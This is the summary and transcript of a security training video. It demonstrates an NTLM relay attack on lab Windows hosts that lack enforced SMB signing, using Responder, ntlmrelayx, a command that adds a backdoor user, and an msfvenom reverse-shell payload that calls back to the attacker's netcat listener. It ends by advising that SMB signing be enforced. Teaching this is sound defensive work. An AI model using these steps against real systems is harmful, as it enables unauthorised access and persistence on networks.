CQURE Hacks #70: NTLM Relay Attacks in Practice: Exploiting Missing SMB Signing

In this episode, we start by verifying vulnerable configurations on SRV01 (10.10.10.20) and Windows 11 (10.10.10.40). Server and client SMB signing enforcement is false. Nmap confirms “enabled but not required,” and NetExec scans the network to list relay targets (/tmp/relay.txt).

Responder (NetBIOS/LLMNR poisoner, SMB/HTTP disabled) listens on eth0. Impacket-ntlmrelayx (-i interactive, –target-file relay.txt) relays intercepted authentication.

The attack is triggered from Windows 11 via a File Explorer typo (\\Serer). Responder captures the request, and the relay succeeds to multiple hosts. Connecting with netcat to localhost:11000 yields an SMB shell on SRV01. Using C$, we create a directory (mkdir ATTACK) and upload /tmp/info.txt, confirmed on the target.

Escalation: A targeted relay (-t 10.10.10.20) executes net user Attacker Password123 /add, verified via net user.

Final payload: A msfvenom reverse shell (r.exe) is relayed using –exe /tmp/r.exe -smb2support. Triggering the relay yields a netcat shell on SRV01, confirming access with whoami and ipconfig.

Key takeaway: “Enabled but not required” means the system is vulnerable to NTLM relay. Enforce SMB signing everywhere to block this passwordless attack path.

---

Video transcript:

0:00 Okay. Let’s perform a Relay attack when signing isn’t enforced. This way, we can redirect our credentials to another host and gain access. Alright, let’s begin. We have a host here, let’s check the hostname.

0:22 SRV01. Let me run ipconfig.

0:26 It has an IP Address 10.10.10.20. Now let’s check its settings. The first settings we want to see are the server settings – if this host acts as a server, when others connect to it and when it shares resources. In the server configuration it’s “false”, meaning it doesn’t enforce signing – it’s not enabled.

0:52 Now, let’s see how it looks when it acts as a client, so when it connects to someone else.

0:57 So as “SmbClientConfiguration” it has the same settings, and we see that as a client it can use signing, but there’s no enforcement. Alright, let’s check another host now – hostname Windows11, ipconfig shows 10.10.10.40, and again let’s see how it looks. If it acts as a host, sharing resources when someone connects to it, do we need a signature when connecting? No, it’s not required. There’s no support enabled, and likewise.

1:36 Let’s also check what happens if we act as a client from Windows 11, wanting to connect somewhere. And at this point we can connect with SMB Signing, but we don’t have to. Now let’s check how this looks from Kali Linux. First, we’ll scan the address 10.10.10.20, which is this host SRV01.

2:00 And here we see “Message signing enabled but not required”. And likewise if we scan the address 10.10.10.40.

2:08 It’s also “enabled, but not required”. This is strange, because when we looked at the settings, for the server configuration, the “enabled” setting was “false”.

2:20 And the same for Windows 11, the server is marked as “false”. However, with nmap there can be a slight difference, because it checks

2:33 what protocol version it is and if the version supports it. So, it says it’s supported but not required. That’s the difference – nmap may interpret it slightly differently. Okay, now let’s go to Kali Linux.

2:48 And here we can search for servers that don’t support SMB Signing. Of course we can use nmap, but we also have other tools, like NetExec. So we can run the command “sudo apt” and install NetExec with “sudo apt install netexec”. And we see it’s already installed. Now using NetExec we can tell it to scan the entire local network and see if there are any hosts that don’t enforce signing. And what do we see? Server DC01 enforces it.

3:24 But SRV01, Windows 10, and Windows 11 don’t enforce it. Additionally, we saved this to file “/tmp/relay.txt”, so we can check that “/tmp/relay.txt” and see those three hosts: 10.10.10.20, 10.10.10.30, and 10.10.10.40. These are the hosts that don’t enforce signing.

3:50 Now, if we can intercept the NTLM authentication, we can Relay to one of these hosts. These hosts that don’t enforce signing – they don’t check the signature. And now, to perform a Relay, we need to get access to the data. We can use various techniques. One of them is (if NetBIOS is being used) sending a message that we are the host. Especially when someone makes a typo in the name. So what do we need? We need Responder – Responder will respond “hey, that’s me, I’m the host”. First thing is Responder, we need to configure it properly.

So we configure: “/etc/responder/Responder.conf”. And here we see NetBIOS and LLMNR are enabled, etc. 

Now if someone uses a NetBIOS name – for example /server/something and happens to make a typo, we’ll say: “hey, that’s me”. 

But by default, Responder listens on various protocols, also listens on SMB and others. And now we want to use a Relay tool. 

Responder itself doesn’t do Relay, so we need to make sure we’re not using Responder’s SMB, meaning we need to set it to “Off” and also set HTTP to “Off”. 

We disable it so it doesn’t set up a fake server on those ports. Why? Because we need those ports for another tool, we’ll simply use a different tool specifically for Relay. 

We save these settings and we have Responder, and now we can create two windows. In the top window we have Responder – we can launch it in “verbose” mode on interface eth0. So, we have Responder running and now when someone asks “where is this host?” via NetBIOS, it will send a signal “that’s me”.

5:50 This means other hosts will want to connect to Kali, so we now need to handle this connection and redirect to others. For this purpose, we use “impacket-ntlmrelayx”. 

So, we’ll use another tool, “impacket-ntlmrelayx”, and with this tool we’ll do the redirecting. Impacket will listen on the SMB port and when someone connects to us, thinking they’re connecting to the proper host, we’ll intercept that connection and relay it to the hosts on the list “/tmp/relay.txt”. Interactive mode (-i) means we can connect to this session.

6:30 OK, we start NTLM Relay and now let’s say we go to Windows 11. On Windows 11 we open File Explorer and try to access a computer. For example: “Server 01”

But let’s assume we made a mistake in the name and instead of “Server” we typed “Serer” and it doesn’t exist. That name doesn’t exist. But let’s go back and see what happens. The moment we used the backslash, that was enough for Windows to start searching, and now Windows started scanning our local network.

7:08 We’re asking “is there a computer with this name?”, and we can now see that we intercepted the connection and tried to authenticate to host 10.10.10.20, 10.10.10.30, and 10.10.10.40 and it succeeded. 

And now that we’ve authenticated here on Kali, as the attacker, you can see that I don’t know the password at all – the only thing I did was place Responder and Relay.

7:36 At this point, we intercepted someone else’s credentials and forwarded them to the vulnerable machine that doesn’t check signatures. The machine should check SMB and verify whether the person connecting is legitimate. Because at this point, as Kali, we intercepted this data and were connecting there with the data I intercepted from that Windows client. Okay, and now what do we have?

8:08 On port “11000” on LocalHost there’s an “SMB client shell” set up, so there’s a shell I can use for that SMB service that connects to 10.10.10.20.

8:19 So now I’ll open a new window and using Netcat I’ll connect to “127.0.0.1 11000” and here I have the SMB client shell that established a session with the vulnerable host 10.10.10.20. Now I can give the “info” command to get information about who I’m relayed to.

8:47 At this point this connection on port 11000 goes to server SRV01, and I can see some information – for example information like “shares” (what shares are visible there?). 

I see: ADMIN$”, „C$”, „CertEnroll”, „IPC$”, and so on. “C$” is a partition, so I can use this share.

9:05 And at this point, once I’ve used this share, let’s say I want to use it by typing “use C$”, I can do “ls” to display what’s there.

I see there are many, many different files, so practically I already have access to the file system on this server. Without a password, without anything. Now it would be good to see if I have any permissions there – because I can probably read, but let’s see if I can do even more, like create something malicious. Let’s see by typing “mkdir ATTACK” if I can create a directory.

9:47 We type “ls” again – and it worked! We have the “ATTACK” directory. Okay, since we managed to create the “ATTACK” directory, maybe we’ll write something in it. I’ll split the window and type “echo “Attack successful” and let’s create a file /tmp/info.txt. Alright, we have the file, so now we can upload this file to the server, so we go to the “ATTACK” directory.

10:14 And we run the command: “put /tmp/info.txt”. At this point we can do “ls” and see that the info.txt file appeared in this directory. And now if we go to Server 01.

10:34 And enter the file system, we’ll see that on drive C: the “ATTACK” directory appeared and it has the info.txt file with “Attack successful” written inside.

10:49 We can see that the attack succeeded and we were able to Relay to the server and create something on that server.

Once we’re on the server, we can type the “net user” command to see what users we have. We have 4 users: administrator, default account, guest, and WDAGUtilityAccount.

11:11 Now we can return to our attack on cqure@kali, to our main window. Here we can stop this attack and we’ll modify it a bit, because now instead of loading hosts from a file, we will have a regular target that I’ll provide manually.

I already know that 10.10.10.20 is vulnerable, so I’ll tell it: “attack this host 10.10.10.20”. This time I don’t need the interactive client shell.

11:40 Instead, I’ll give a command, for example, to create a user “Attacker”.

11:45 We see that there’s no “Attacker” user there now, but I’m telling it: “instead of creating an interactive shell, execute the command ‘Net user Attacker Password123 /add'”.

12:01 And at this point, when I run such a command, let’s say I’m on that Windows client again and I make some typo or create a shortcut pointing to a non-existent name, and someone enters that share, and clicks this shortcut.

12:19 And what do we have? We see that some command was executed – there was successful authentication on 10.10.10.20.

What’s more, the command was executed, so the command was completed successfully. 

A command was successfully executed, so let’s go to SRV01 again and check the same command “net user” once more. We see that now we have the added user “Attacker”, so we succeeded.

12:45 At this point, if we have a Relay attack, we can also execute various commands. We can pass commands to execute. We can also try to go further, so let’s stop this attack again. We can open another window, and now let’s create a reverse shell.

13:04 In “ifconfig” let’s check my IP – it shows 10.10.10.106. I’ll create on my IP a file “/tmp/r.exe”, using “msfvenom” with payload “windows/x64/shell_reverse_tcp” and I’ll listen on LHOST 10.10.10.106 on Kali port 4444.

13:32 I’m creating a malicious file called r.exe using msfvenom. And at this point the file is created – saved in “/tmp/r.exe”. So, what do I do on my side now? 

Since this file is a reverse shell that should connect to Kali on port 4444, I need to listen on that port. I start “nc -lnvp 4444” and I get the message “listening on (any) 4444”

14:03 This NetCat will be listening here, but now I need to deliver this malicious payload to the target. At this point, I go to the first window and modify.

14:11 This time we won’t use a command, but I’ll give the parameter “smb2support -e” and point to “/tmp/r.exe”

14:22 Because I want the r.exe file to be uploaded to the machine, I’ll Relay it to and execute it there on that machine. 

I launch this, and if I catch some traffic, someone trying to connect to me, I do the Relay, and together with that Relay, I’ll transfer r.exe there and execute the file.

14:45 So we try again. We go to our Windows 11. We try to access a non-existent server. Here we look – there’s already a relay and we see the information “uploading file”. Let’s go to the other console, and in this console, where NetCat was listening, we already have a connection from that host, and now we can check the hostname.

15:11 We see it’s SRV01, and ipconfig shows 10.10.10.20, so we have access to this shell.15:19 This way, if SMB Signing isn’t enforced, we were able to Relay the connection. As you can see, we don’t need any passwords – we simply look for machines that don’t enforce SMB Signing and then we have several attack possibilities.